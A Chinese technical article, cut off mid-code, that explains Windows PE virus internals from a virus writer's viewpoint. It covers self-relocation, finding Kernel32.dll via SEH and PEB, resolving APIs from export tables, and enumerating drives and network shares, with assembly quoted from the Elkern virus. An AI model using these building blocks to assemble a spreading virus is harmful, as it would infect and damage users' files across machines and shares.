生活在网络时代，无论是作为一名程序员抑或是作为一名普通的电脑使用者，对病毒这个词都已经不再陌生。网络不仅仅是传播信息的快速通道，从另外一个角度来看，也是病毒得以传播和滋生的温床，有资料显示，未安装补丁的Windows操作系统连接至internet平均10-15分钟就会被蠕虫或病毒感染。各种类型的病毒，在人们通过网络查阅信息、交换文件、收听视频时正在悄悄地传播。这些病毒或蠕虫不仅在传播过程中消耗大量的带宽资源，而且会干扰系统功能的正常使用或造成数据丢失、甚至是硬件损坏，每个电脑用户几乎都有过系统被病毒感染而无法正常使用的经历，大部分企业用户也都有过因病毒发作致使业务系统不能正常运行的经历。病毒距离我们，其实并不遥远。
然而，不只普通用户在面对各种夸大的报道和宣传后感觉到茫然和恐惧，随着计算机各个领域的细分和专业化，就连一些职业的程序员对病毒技术也缺乏深入的了解。病毒，不过是精心设计的一段程序，是编程技巧和优化技术的集中体现，是挑战技术极限、无所不用其极的一种编程技术。其实病毒技术中的优化和各种精巧的构造，也完全可以在一些特殊的情况下使用，使得某些编程工作得以简化；从另外一个角度来看，只有充分了解病毒技术，才能更好地研究应对之策，知己知彼，方能百战不殆。
病毒不是某个系统下的专属品，事实上现在各种流行的操作系统：从最初的Unix系统到其各种变体如Linux、Solaris、AIX、OS2等，从Windows到CE、Sybian等嵌入式系统，甚至是在某些专业化的大型机系统上，都无一例外地出现了病毒，各种平台下病毒的基本原理类似的，但是针对不同系统的特性，实现可能区别很大，原因在于作为一种无所不用其极的技术，势必利用各种系统相关的功能或弱点以取得各种特权和资源。正如生物的多样性一样，病毒种类繁多：包括源代码病毒、宏病毒、脚本病毒以及与各种系统可执行文件系统相关的病毒等。本文将以使用最为广泛的Windows操作系统下的PE病毒为例，说明病毒技术的原理以及实现技术，驱散笼罩在病毒技术上的迷雾。
* 病毒、蠕虫、恶意代码
传统意义上的病毒是具有类似生物病毒特征的特殊代码或程序，具有两个最基本的特点：自我复制和自动传播。蠕虫，广义上一般被认为是病毒的子类，同样具有自我复制和传播的特性，但鉴于蠕虫通常利用系统漏洞而非感染文件系统进行传播的特殊性，通常将其单独作为一类。一般认为区分蠕虫和传统病毒的分类标准是看其是否依赖于宿主程序进行感染和传播，如果必须依附于宿主程序才能进行感染和传播的才是病毒。不过定义不是绝对的，当今病毒和蠕虫技术的融合愈益深入，界限愈益模糊。很多病毒采用了很多的蠕虫传播技术，蠕虫也不仅仅通过系统漏洞传播，同时也通过感染文件系统进行传播。此外还有有相当一部分程序虽然不具备自我复制和自我传播的特征，但却执行了未经用户许可的代码、做了未经用户许可的事情，比如特洛伊木马等间谍软件、浏览器恶意脚本、一些广告软件等，显然无法将其定义为传统的病毒或蠕虫，他们和蠕虫、病毒一样，同属于一个更大的范畴——恶意代码。本文重点阐述传统病毒经常使用的技术。
* 病毒简史
谈病毒技术，无法回避病毒产生的历史。早在1949年在冯·诺伊曼的一篇论文《复杂自动装置的理论及组织的行为》中，即预见了可自我繁殖程序出现的可能。而现在众所公认的病毒的萌牙于AT&T（贝尔实验室）几个年轻的天才程序员编制的磁芯大战（CoreWar）游戏程序，已经具备了病毒的一些特征。随后相关的实验和研究在一些学者和天才的程序员中开始展开，正是这些创造了计算机系统的天才们，制造了计算机病毒。很难考证第一个真正的病毒出现在何时何地，但在20世纪80年代，随着个人计算机的普及，病毒已经开始流行了，早期的计算机病毒是和当时的文件交换方式和操作系统特点联系在一起的，那个时候发行软件或交换文件主要通过软盘进行，系统是基于文本界面的Unix或DOS，网络尚未普及，因此这一时期的病毒大都是引导区病毒和文件型病毒，前者通过替换系统引导区代码在系统启动时获取执行权，后者通过修改可执行文件嵌入代码以在可执行文件执行时获取控制权，更多病毒的则是二者的结合。IBM-PC的流行和MS DOS系统的普及使得DOS病毒在这一阶段逐渐占据了统治地位。80年代后期因特网开始进入人们的视野，这时也出现了第一个因特网蠕虫——莫里斯蠕虫，借助于系统漏洞通过网络进行快速传播。90年代随着电脑及网络的进一步普及，病毒技术也有了很大的进步，这在很大程度上也是由于病毒受社会的关注程度以及反病毒软件的进步，进一步刺激了病毒制作者群体的创造欲望，多态和变形技术开始出现，以对抗杀毒软件的特征码扫描。DOS操作系统病毒的绝对数量出现了爆炸性增长，但90年代后期随着Windows的出现，DOS病毒和引导区病毒逐渐走向消亡，Windows病毒随之则开始大量涌现，随着微软Office软件的普及宏病毒出现了，各种脚本病毒也日益增多。因特网的普及在给人们带来便利的同时也加快了病毒传播的速度和范围，靠Emai传播的蠕虫开始增多，时至今日仍然是蠕虫的重要传播途径。从2000年至今，在进入21世纪的头几年里，Windows下PE病毒技术已经日益纯熟、数量日益增多，但病毒排行榜的首位已经让位给利用各种系统漏洞进行传播的蠕虫了，安全研究的深入、各种安全漏洞的大量披露给蠕虫作者提供了很好的素材，特洛依木马等恶意软件数量呈现几何级数的增长，病毒作者的关注点重新从Windows桌面系统转向Unix系统、手机等嵌入移动设备上。安全研究也愈益受到社会的关注，病毒和反病毒的战争仍在继续，在可预见的将来，仍将继续。
不过，Windows PE文件病毒仍然占有非常大的比重。
* Windows平台和PE文件格式
Windows平台是当今最为流行的桌面系统，在服务器市场上，也占有相当的份额。其可执行文件（普通的用户程序、共享库以及NT系统的驱动文件）采用的是PE（Portable Executebale）文件格式。病毒要完成各种操作，在Windows系统上一般都是通过调用系统提供的API进行的，以保证在各种Windows版本上都能运行，因此读者应对基本的API比较熟悉。病毒要实现对宿主程序的感染，就不可避免地要修改PE文件，因此要求读者对PE文件格式有一定的了解，PE文件格式是一种复杂的文件格式，本文并不准备详细讲述PE文件格式，仅作在必要处简单的介绍，如必要可进一步参阅相关资料[1][2][3]。PE文件结构和头部部分主要域的格式如下图1所示。由图1可见，PE文件是由文件头、节表、包含各种代码和数据的节构成。文件头中定义了PE文件的引入函数表、引出函数表、节数目、文件版本、文件大小、所属子系统等相关的重要信息。节表则定义了实际数据节的大小、对齐、内存到文件如何进行映射等信息。后面的各个节则包含了实际的可执行代码或数据。
图1 PE文件结构及部分主要域的定义
* PE病毒技术剖析
典型的PE病毒修改PE文件，将病毒体代码写入PE文件文件中，更新头部相关的数据结构，使得修改后的PE文件仍然是合法PE文件，然后将PE入口指针改为指向病毒代码入口，这样在系统加载PE文件后，病毒代码就首先获取了控制权，在执行完感染或破坏代码后，再将控制权转移给正常的程序代码，这样病毒代码就神不知鬼不觉地悄悄运行了。染毒后的PE文件运行过程一般图2所示：
图2 染毒后的程序执行流程
这只是最常见的执行流程，事实上，随着反病毒技术的进展，更多的病毒并不是在程序的入口获取控制权，而是在程序运行中或退出时获取控制权，以逃避杀毒软件的初步扫描，这种技术又被称为EPO技术，将在本文后半部分进行介绍。病毒代码一般分成几个主要功能模块：解码模块、重定位模块、文件搜索模块、感染模块、破坏模块、加密变形模块等，不同的病毒包含模块不一定相同，比如解码、加密变形等就是可选的；但文件搜索和感染模块是几乎每个PE病毒都具备的，因为自我复制我传播是病毒的最基本的特征。有些病毒还可能实现了其他的模块，比如Email发送、网络扫描、内存感染等。一段典型的PE病毒代码执行流程大致如下图3所示：
图3 一段典型的病毒代码执行流程
从原理上看病毒非常简单，但实现起来还有不少困难，其实如果解决了这些技术难点，一个五脏俱全的病毒也就形成了，本文后面将从一个病毒编写者的角度就各个难点分别予以介绍。病毒可采用的技术几乎涉及到Windows程序设计的所有方面，但限于篇幅，本文亦不可能全部介绍，本文将重点介绍Win32用户模式病毒所常用的一些技术。
* 编程语言
任何语言只要表达能力足够强，都可用于编写PE病毒。但现存的绝大部分PE病毒都是直接用汇编编写的，一方面是因为汇编编译后的代码短小精悍，可以充分进行人工优化，以满足隐蔽性的要求；另外一方面之所以用汇编是因为其灵活和可控，病毒要同系统底层有时甚至是硬件打交道，由于编译器的特点不尽相同，用高级语言实现某些功能甚至会更加麻烦，比如用汇编很方便地就可以直接进行自身重定位、自身代码修改以及读写IO端口等操作，而用高级语言实现则相对烦琐。用汇编还可以充分利用底层硬件支持的各种特性，限制非常少。但是用汇编编写病毒的主要缺点就是编写效率低，加上使用各种优化手段使得代码阅读起来相当困难，不过作为一种极限编程技术，对病毒作者而言，这些似乎都已经不再重要。本文假设读者熟悉汇编语言，各种举例使用Intel格式的汇编代码，编译器可使用MASM或FASM进行编译，由于汇编语言表述算法较为不便，因此算法和原理性表述仍然采用C语言。在讲述各种技术时，部分代码直接取自病毒Elkern的源代码，该病毒在2002年曾经大规模流行，其代码被收录于著名病毒杂志29A第7期中，有兴趣的读者可参阅其完整代码。
* 重定位
病毒自身的重定位是病毒代码在得以顺利运行前应解决的最基本问题。病毒代码在运行时同样也要引用一些数据，比如API函数的名字、杀毒软件的黑名单、系统相关的特殊数据等，由于病毒代码在宿主进程中运行时的内存地址是在编译汇编代码时无法预知的，而病毒在感染不同的宿主时其位于宿主中的准确位置同样也无法提前预知，因此病毒就要在运行时动态确定其引用数据的地址，否则，引用数据时几乎肯定会发生错误。对于普通的PE文件比如动态链接库而言，在被加载到不同地址处时由加载器根据PE中一个被称为重定位表的特殊结构动态修正引用数据指令的地址，而重定位表是由编译器在编译阶段生成的，因此动态链接库本身无需为此做任何额外处理。病毒代码则不同，必须自己动态确定需引用数据的地址。比如一段病毒代码被加载在0x400000处，地址0x401000处的一条语句及其引用的数据定义如下所示，相关地址是编译器在编译时计算得到的，这里假设编译时预设的基地址也是0x400000：
401000:
mov eax,dword ptr [402035]
......
402035:
db "hello world!",0
如果病毒代码在宿主中也加载到基地址0x400000，显然是能够正常执行的，但如果这段代码被加载在基地址0x500000运行时则出错，对病毒而言，这是大多数时候都会遇到的情况，因为指令中引用的仍然是0x402035这个地址。如果病毒代码不是在宿主进程中而是作为一个具有重定位表的独立PE文件运行，正常情况下由系统加载器根据重定位表表项将 mov eax,dword ptr [402035]中的0x402035修改为正确值0x502305，这样这句代码就变成了mov eax,dword ptr [5402035]，程序也就能准确无误地运行了。不过很可惜，对在其它进程内运行病毒代码而言，必须采取额外的手段、付出额外的代价感染宿主PE文件时就及时加以解决，否则将导致宿主进程无法正常运行。
至少有两种方法可以解决重定位的问题：
A）第一种方法就是利用上述PE文件重定位表项的特殊作用构造相应的重定位表项。在感染目标PE文件时，将引用自身数据的需要被重定位的地址全部写入目标PE文件的重定位表中，如果目标PE无任何重定位表项（如用MS linker的/fixed）则创建重定位表节并插入新的重定位项；若已经存在重定位表项，则在修改已存在的重定位表节，在其中插入包含了这些地址的新表项。重定位的工作就完全由系统加载器在加载PE文件的时候自动进行了。重定位表项由PE文件头的DataDirectory数据中的第6个成员IMAGE_DIRECTORY_ENTRY_BASERELOC指向。该方法需要的代码稍多，实现起来也相对比较复杂，另外如果目标文件无重定位表项（为了减小代码体积，这种情况也不少见），处理起来就比较麻烦，只有用高级语言编写病毒才常用该种方法，在一般的PE病毒中很少使用。
B）利用Intel X86体系结构的特殊指令，call或fnstenv等指令动态获取当前指令的运行时地址，计算该地址与编译时预定义地址的差值（被称为delta offset），再将该差值加到原编译时预定的地址上，得到的就是运行时数据的正确地址。对于intel x86指令集而言，在书写代码时，通过将delta offset放在某个寄存器中，然后通过变址寻址引用数据就可以解决引用数据重定位的难题。还以上例说明，假如上述指令块被操作系统映射在0x500000处那么代码及其在内存中的地址将变为：
501000:
mov eax,dword ptr [402035]
......
502035:
db "hello world!",0
显然，mov指令引用的操作数地址是不正确的，如果我们知道了mov指令运行时地址是0x501000，那么计算该地址和编译时该指令预设地址的差值：0x501000-0x401000 = 0x100000。很显然指令引用的实际数据地址应该为0x402035+0x100000 = 0x502035。从上例可以看出，只要能够在运行时确定某条指令动态运行时的地址，而其编译时地址已知，我们就能够通过将delta offset加到相应的地址上正确重定位任何代码或数据的运行时地址。原理如图4所示：
图4 delta iffset
通常只要在病毒代码的开始计算出delta offset，通过变址寻址的方式书写引用数据的汇编代码，即可保证病毒代码在运行时被正确重定位。假设ebp包含了delta offset，使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的：
;ebp包含了delta offset值
401000:
mov eax,dword ptr [ebp+0x402035]
......
402035:
db "hello world!",0
在书写源程序时可以采用符号来代替硬编码的地址值，上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了，显然：
call delta
delta:
pop ebp
sub ebp,offset delta
在运行时就动态计算出了delta offset值，因为call要将其后的第一条指令的地址压入堆栈，因此pop ebp执行完毕后ebp中就是delta的运行时地址，减去delta的编译时地址“offset delta”就得到了delta offset的值。除了用明显的call指令外，还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行，这些指令也都可以获取某条指令的运行时地址。以fnstenv为例，该指令将最后执行的一条FPU指令相关的协处理器的信息保存在指定的内存中，结构如下图5所示：
图5 浮点环境块的结构
该结构偏移12字节处就是最后执行的浮点指令的运行时地址，因此我们也可以用如下一段指令获取delta offset：
fpu_addr:
fnop
call GetPhAddr
sub ebp,fpu_addr
GetPhAddr:
sub esp,16
fnstenv [esp-12]
pop ebp
add esp,12
ret
delta offset也不一定非要放在ebp中，只不过是ebp作为栈帧指针一般过程都不将该寄存器用于其它用途，因此大部分病毒作者都习惯于将delta offset保存在ebp中，其实用其他寄存器也完全可以。
在优化过的病毒代码中并不经常直接使用上述直接计算delta offset的代码，比如在Elkern开头写成了类似如下的代码：
call _start_ip
_start_ip:
pop ebp
;...
;使用
call [ebp+addrOpenProcess-_start_ip]
;...
addrOpenProcess dd 0
;而不是
call _start_ip
_start_ip:
pop ebp
sub ebp,_start_ip
call [ebp+addrOpenProcess]
为什么不采用第二种书写代码的方式？其原因在于尽管第一种格式在书写源码时显得比较罗嗦，但是addrOpenProcess-_start_ip是一个较小相对偏移值，一般不超过两个字节，因此生成的指令较短，而addrOpenProcess在32 Win32编译环境下一般是4个字节的地址值，生成的指令也就较长。有时对病毒对大小要求很苛刻，更多时候也是为了显示其超俗的编程技巧，病毒作者大量采用这种优化，对这种优化原理感兴趣的读者请参阅Intel手册卷2中的指令格式说明。
* API函数地址的获取
在能够正确重定位之后，病毒就可以运行自己代码了。但是这还远远不够，要搜索文件、读写文件、进行进程枚举等操作总不能在有Win32 API的情况下自己用汇编完全重新实现一套吧，那样的编码量过大而且兼容性很差。Win9X/NT/2000/XP/2003系统都实现了同一套在各个不同的版本上都高度兼容的Win32 API，因此调用系统提供的Win32 API实现各种功能对病毒而言就是自然而然的事情了。
所以接下来要解决的问题就是如何动态获取Win32 API的地址。最早的PE病毒采用的是预编码的方法，比如Windows 2000中CreateFileA的地址是0x7EE63260，那么就在病毒代码中使用call [7EE63260h]调用该API，但问题是不同的Windows版本之间该API的地址并不完全相同，使用该方法的病毒可能只能在Windows 2000的某个版本上运行。因此病毒作者自然而然地回到PE结构上来探求解决方法，我们知道系统加载PE文件的时候，可以将其引入的特定DLL中函数的运行时地址填入PE的引入函数表中，那么系统是如何为PE引入表填入正确的函数地址的呢？答案是系统解析引入DLL的导出函数表，然后根据名字或序号搜索到相应引出函数的的RVA（相对虚拟地址），然后再和模块在内存中的实际加载地址相加，就可以得到API函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中，病毒作者找到了以下两种解决方案：
A)在感染PE文件的时候，可以搜索宿主的函数引入表的相关地址，如果发现要使用的函数已经被引入，则将对该API的调用指向该引入表函数地址，若未引入，则修改引入表增加该函数的引入表项，并将对该API的调用指向新增加的引入函数地址。这样在宿主程序启动的时候，系统加载器已经把正确的API函数地址填好了，病毒代码即可正确地直接调用该函数。
B）系统可以解析DLL的导出表，自然病毒也可以通过这种手段从DLL中获取所需要的API地址。要在运行时解析搜索DLL的导出表，必须首先获取DLL在内存中的真实加载地址，只有这样才能解析从PE的头部信息中找到导出表的位置。应该首先解析哪个DLL呢？我们知道Kernel32.DLL几乎在所有的Win32进程中都要被加载，其中包含了大部分常用的API，特别是其中的LoadLibrary和GetProcAddress两个API可以获取任意DLL中导出的任意函数，在迄今为止的所有Windows平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址，然后解析Kernel32.DLL的导出表获取常用的API地址，如需要可进一步使用Kernel32.DLL中的LoadLibrary和GetProcAddress两个API更简单地获取任意其他DLL中导出函数的地址并进行调用。
* 获取Kernel32.DLL基址
获取Kernel32.DLL基址的方法很多，最常见的一种是搜索法，如果已知Kernel32.DLL加载的大致地址，那么可由该地址向高地址或低地址进行搜索可以找到其基址。另外一种方法是搜索NT PEB结构中的模块列表获取Kernel32.DLL的准确加载基址。下面看一下具体的实现代码：
方法1：暴力搜索获取Kernel32.DLL的基址
最初的病毒是指定一个大致的加载地址，比如根据实验在9X下其加载地址是0xBFF70000；在Windows 2000下加载基址是0x77E80000；在XP和2003下其加载基址是0x77E60000，因此在NT系统下就可以从0x77e00000开始向高地址搜索，在9X下可以从0xBFF00000开始向高地址搜索，如果搜索到Kernel32.DLL的加载地址，其头部一定是“MZ”标志，由模块起始偏移0x3C的双字确定的PE头部标志必然是“PE”标志，因此可根据这两个标志判断是否找到了模块加载地址，也许有人认为该方法不可靠，因为如果恰好有某段数据符合这两个特征，那么找到的基址可能就是错误的，但经实验证明，该判断方法非常可靠，基本不会出现错误。有一点需要注意的是，在所有版本的Windows系统下Kernel32.DLL的加载基址都是按照0x10000对齐的，根据这一特点可以不必逐字节搜索，按照64K对齐的边界地址搜索即可。
从大致的一个地址开始搜索Kernel32.DLL基址可能会出现读写到未映射内存区域的情况，因此需要和SEH配合使用。如果有在各个版本下准确获取Kernel32.DLL中某地址的通用方法，那么就可以更可靠地从该地址开始向低地址搜索，显然会更加通用。事实上，这种方法是存在的。在系统加载PE文件跳转到PE入口点第一条指令的时候，堆栈顶保存的就是Kernel32.DLL中的某个地址，Elkern中采用的就是这种方法：
_start:
pushfd ;If some flags,especial DF,changed,some APIs can crash down!!!
pushad
_start_@1 equ $
;......
mov ebx,[esp+9*4] ;前面已经由pushfd和pushad压入了9个双字
and ebx,0ffe00000h ;该地址为Kernel32.dll模块下方的某个地址
;先减去0x100000确保该地址处于Kernel32.dll的下方
;向高地址搜索如果将来Windows的发行版本中Kernel32.dll
;大小和代码结构发生变化，该方法可能无效
ebx中现在已经是Kernel32.DLL基址之前某个地址了，后续代码可以向高地址搜索其基址。该方法有一个缺点，就是必须明确知道程序入口的堆栈指针值，或间接可计算出该值，对于那些在程序入口获取控制权的病毒代码而言，是可以的，但对于采用EPO技术的病毒而言，该方法则不适用。事实上还有另外一种更加通用的方法，我们知道在Win32程序执行过程中fs段寄存器的基址总是指向进程的TEB，TEB的第一个成员指向SEH链表，该链表每个节点都是一个EXCEPTION_REGISTRATION结构，该结构定义如下：
struct EXCEPTION_REGISTRATION{
struct EXCEPTION_REGISTRATION *prev;
void* handler;
};
在Windows下SEH链表最后一个成员的handler指向Kernel32.DLL中函数UnhandledExceptionFilter的起始地址，利用这一特性我们可以写出更通用的代码：
xor esi,esi
lods dword [fs:esi];取得SEH链表的头指针
@@:
inc eax ;是否是最后一个SEH节点，检查prev是否为0xFFFFFFFF
je @F
dec eax
xchg esi,eax
LODSD ;下一个SEH节点
jmp near @B
@@:
LODSD ;取得Kernel32.dll中UnhandledExceptionFilter的地址
在有的病毒直接以0x7FFDE000作为TEB的指针值，其原因在于在Windows 2003 SP1、Windows XP SP2以前的NT类系统上，该值是固定的，这样的确可以节省一两个字节。但是在Windows 2003 SP1、Windows XP SP2中，情况已经发生了变化，出于安全性的考虑，Windows系统开始动态映射TEB了，也就是说，指向TEB的指针值不再固定，因此这种硬编码的方法也就走到了尽头。此时可以按照前面的方法向低地址搜索判断直到找到Kernel32.dll的基址为止。Elkern中判断是否找到了Kernel32.dll基址的相关代码如下：
search_api_addr_@1:
add ebx,10000h
jz short search_api_addr_seh_restore
cmp word ptr [ebx],'ZM' ;是否是MZ标志
jnz short search_api_addr_@1
mov eax,[ebx+3ch]
add eax,ebx
cmp word ptr [eax],'EP' ;是否具有PE标志
jnz short search_api_addr_@1
;找到了kernel32.dll的基址
方法2：搜索PEB的相关结构获取Kernel32.DLL的基址
前述TEB偏移0x30处，亦即FS:[0x30]地址处保存着一个重要的指针，该指针指向PEB（进程环境块），PEB成员很多，这里并不介绍PEB的详细结构。我们只需要知道PEB结构的偏移0xC处保存着另外一个重要指针ldr，该指针指向PEB_LDR_DATA结构：
typedef struct _PEB_LDR_DATA
{
ULONG Length; // +0x00
BOOLEAN Initialized; // +0x04
PVOID SsHandle; // +0x08
LIST_ENTRY InLoadOrderModuleList; // +0x0c
LIST_ENTRY InMemoryOrderModuleList; // +0x14
LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
该结构的后三个成员是指向LDR_MODULE链表结构中相应三条双向链表头的指针，分别是按照加载顺序、在内存中的地址顺序和初始化顺序排列的模块信息结构的指针。LDR_MODULE结构如下所示：
typedef struct _LDR_MODULE
{
LIST_ENTRY InLoadOrderModuleList; // +0x00
LIST_ENTRY InMemoryOrderModuleList; // +0x08
LIST_ENTRY InInitializationOrderModuleList; // +0x10
PVOID BaseAddress; // +0x18
PVOID EntryPoint; // +0x1c
ULONG SizeOfImage; // +0x20
UNICODE_STRING FullDllName; // +0x24
UNICODE_STRING BaseDllName; // +0x2c
ULONG Flags; // +0x34
SHORT LoadCount; // +0x38
SHORT TlsIndex; // +0x3a
LIST_ENTRY HashTableEntry; // +0x3c
ULONG TimeDateStamp; // +0x44
// +0x48
} LDR_MODULE, *PLDR_MODULE;
Peb->Ldr->InInitializationOrderModuleList指向按照初始化顺序排序的第一个LDR_MODULE节点的InInitializationOrderModuleList成员的指针，在WinNT平台（不包含Win9X）下，该链表头节点的LDR_MODULE结构包含的是NTDLL.DLL的相关信息，而链表的下一个节点所包含的就是Kernel32.dll相关的信息了，该节点LDR_MODULE结构中的BaseAddress不正是我们所苦苦寻找的吗。注意InInitializationOrderModuleList是LDR_MODULE的第3个成员，因此要获取BaseAddress的地址，只需将其指针加8再derefrence即可。因此下面的汇编代码即可获取Kernel32.DLL的基址：
mov eax, dword ptr fs:[30h] ;获取PEB基址
mov eax, dword ptr [eax+0ch] ;获取PEB_LDR_DATA结构指针
mov esi, dword ptr [eax+1ch]
;获取InInitializationOrderModuleList链表头第一个LDR_MODULE节点
InInitializationOrderModuleList成员的指针
lodsd ;获取双向链表当前节点后继的指针
mov ebx, dword ptr [eax+08h] ;取其基地址，该结构当前包含的是
;kernel32.dll相关的信息
该方法在所有的Windows NT（包括Windows 2003 SP1和Windows XP SP2）操作系统上都是有效的，唯一的缺憾是由于PEB结构不同，该方法在Win9X系统上无效。听起来可能比较费解，还是用一张图更加清晰一些：
图6 利用PEB搜索kernel32.dll基地址的过程
* 解析PE文件的导出函数表
PE文件的函数导出机制是进行模块间动态调用的重要机制，对于正常的程序，相关操作是由系统加载器在程序加载前自动完成的，对用户程序是透明的。但要想在病毒代码中实现函数地址的动态解析以取代加载器，那就有必要了解函数导出表的结构了。在图1中可以看到在PE头结构IMAGE_OPTIONAL_HEADER32结构中包含一个DataDirectory数组结构，该结构包含16个成员，每个成员都是一个IMAGE_DATA_DIRECTORY结构：
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
DataDirectory数组的每个结构都指向一个重要的数据结构，第一个成员指向导出函数表（索引0），第2个成员指向PE文件的引入函数表（索引1）。DataDirectory中的第一个成员指向导出函数表的IMAGE_EXPORT_DIRECTORY结构：
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
AddressOfFunctions是一个双字数组，包含了所有导出函数的RVA，另外两个成员AddressOfNames也是一个双字数组，包含了指向导出函数名字的字符串的RVA，AddressOfNameOrdinals是一个字数组（16bit），和AddressOfNames数组是并行的，和AddressOfNames数组一起确定了相应引出函数的序号，该序号可直接用于索引AddressOfFunctions数组获取导出函数的地址。因此病毒搜索指定的API就包含了如下步骤：
a)获取NumberOfNames的值以及AddressOfNames、AddressOfNameOrdinals和AddressOfFunctions的数组的地址。
b)搜索AddressOfNames数组，按字符串对比，若找到相应的API，转d
c)若NumberOfNames名字尚未全部搜索完毕，转b继续搜索，若搜索完毕，则表明未找到进行错误处理，这一步通常可以省略，因为我们已经知道相应的DLL中肯定导出了相应的函数。
d）获取当前函数名字指针在AddressOfNames数组中的索引，在AddressOfNameOrdinals数组中取出以该值索引的函数序号，以该序号值作为AddressOfFunctions数组的索引，在AddressOfFunctions数组中取出导出函数的RVA值，加上基址就得到了运行时导出函数的地址。
看起来似乎比较罗嗦，实际上这是PE设计时为考虑灵活性而做出的牺牲。不过实现起来还是比较简单的，通常汇编代码编译后不到100字节。以下是在Kernel32搜索GetProcAddress的完整代码：
push esi
;esi=VA Kernel32.BASE
;edi=RVA K32.pehdr
mov ebp,esi
mov edi,[ebp+edi+peh.DataDirectory]
push edi esi
mov eax,[ebp+edi+peexc.AddressOfNames]
mov edx,[ebp+edi+peexc.AddressOfNameOrdinals]
call @F
db "GetProcAddress",0
@@:
pop edi
mov ecx,15
sub eax,4
next_:
add eax,4
add edi,ecx
sub edi,15
mov esi,[ebp+eax]
add esi,ebp
mov ecx,15
repz cmpsb ;进行字符串比较，判断是否为要查找的函数
jnz next_
pop esi edi
sub eax,[ebp+edi+peexc.AddressOfNames]
shr eax,1
add edx,ebp
movzx eax,word [edx+eax]
add esi,[ebp+edi+peexc.AddressOfFunctions]
add ebp,[esi+eax*4] ;ebp=Kernel32.GetProcAddress.addr
;use GetProcAddress and hModule to get other func
pop esi ;esi=kernel32 Base
在前面解析导出函数表获取API地址的时候，采用的是直接比较字符串的方法判断是不是找到了相应的API，其实还可以计算函数名字的hash，然后同预计算的hash进行比对，现代的PE病毒更多采用的hash的方法，其原因在于一般的函数名字长度都大于4字节，而用hash只要占用4个字节或2个字节，可以节省空间，此外还有抗病毒分析的作用，因为hash要比字符串名字费解得多。hash算法的设计只要能保证无冲突即可，可以用crc等成熟算法，也可以设计自己的简单算法。在Elkern中就使用了crc16算法。
* 文件搜索
文件搜索是病毒的重要功能模块之一，也是实现感染和传播的关键。现代Windows和各种移动介质的文件系统可能采用多种复杂格式，因此象一些Dos病毒一样试图直接存取文件系统（读写扇区）是不大现实的。通常利用Win32 API的FindFirstFile和FindNextFile来实当前目录下所有目录和文件的搜索，通过判断搜索到的文件属性，可区分是否为目录或可执行文件，对于可执行文件则根据预先设计好的感染策略进行感染；对于当前目录下的所有子目录以及特殊的..父目录，可以使用递归或非递归的方式利用上述两个API全部进行遍历，因此从某个驱动器或网络共享文件夹的任意一个子目录开始，都可以遍历当前驱动器或网络共享文件夹内的所有文件和目录。一般地，搜索文件从驱动器或共享文件夹的根目录开始，那么如何得到当前系统中存在的所有驱动器或所有的共享文件夹列表呢？对于前一个问题，我们知道Windows下可划分A:~Z:共26个逻辑盘符，因此可以从A:开始递增搜索所有的驱动器，使用Win32 API GetDriveType判断当前搜索的盘符是否存在，以及是否是固定硬盘、可移动存储介质、是否可写或是网络驱动器等。一般病毒只感染固定硬盘或网络驱动器。由于汇编语言在表述算法时显得过于冗长，因此算法部分使用C语言描述，当然将C算法转换成汇编语言是很简单的过程。
下面的代码enumdisk.cpp将显示A-Z各个驱动器的相关属性：
#include
#include
#define MAX_DRIVENAME_LENGTH 64
void __cdecl main(int argc,char *argv[])
{
char DriveName[MAX_DRIVENAME_LENGTH];
char *p;
unsigned int drv_attr;
p = DriveName;
strncpy(DriveName,"A:",MAX_DRIVENAME_LENGTH);
for(;*p<'Z';++*p) {
drv_attr = GetDriveType(p);
switch(drv_attr)
{
case DRIVE_UNKNOWN: // 未知类型
printf("drive %s type %s/n",p,"DRIVE_UNKNOWN");break;
case DRIVE_NO_ROOT_DIR: // 该驱动器不存在
printf("drive %s type %s/n",p,"DRIVE_NO_ROOT_DIR");break;
case DRIVE_REMOVABLE: // 可移动盘，软盘或U盘或移动硬盘等
printf("drive %s type %s/n",p,"DRIVE_REMOVABLE");break;
case DRIVE_FIXED: // 固定硬盘
printf("drive %s type %s/n",p,"DRIVE_FIXED");break;
case DRIVE_REMOTE: // 一般是映射网络驱动器
printf("drive %s type %s/n",p,"DRIVE_REMOTE");break;
case DRIVE_CDROM: // 光盘
printf("drive %s type %s/n",p,"DRIVE_CDROM");break;
case DRIVE_RAMDISK: // RAM DISK
printf("drive %s type %s/n",p,"DRIVE_RAMDISK");break;
}
}
}
与仅仅显示一条信息不同的是，病毒此时将调用文件枚举函数（如后面给出的enum_path函数）从当前根目录开始遍历DRIVE_FIXED的驱动器上的所有文件，根据预定义策略进行文件感染。
网络共享资源也是按树状组织的,非叶节点称为容器（container），对容器需要进一步搜索直到到达叶子节点为止，叶子节点才是共享资源的根路径。共享资源一般分成两种：共享打印设备和共享文件夹。对于网络共享文件的搜索，采用WNetOpenEnum和WNetEnumResource（由mpr.dll导出）进行递归枚举。其函数原型及参数含义请参阅MSDN，使用如下代码enumshare.cpp将显示所有的网络驱动器共享文件夹的路径：
#include
#include
#pragma comment(lib,"mpr.lib")
int enum_netshare(LPNETRESOURCE lpnr);
void __cdecl main(int argc,char *argv[])
{
enum_netshare(0);
}
int enum_netshare(LPNETRESOURCE lpnr)
{
DWORD r, rEnum,usage;
HANDLE hEnum;
DWORD cbBuffer = 16384;
DWORD cEntries = -1;
LPNETRESOURCE lpnrLocal; // NETRESOURCE数组结构的指针
DWORD i;
r = WNetOpenEnum(RESOURCE_GLOBALNET, // 范围:所有网络资源
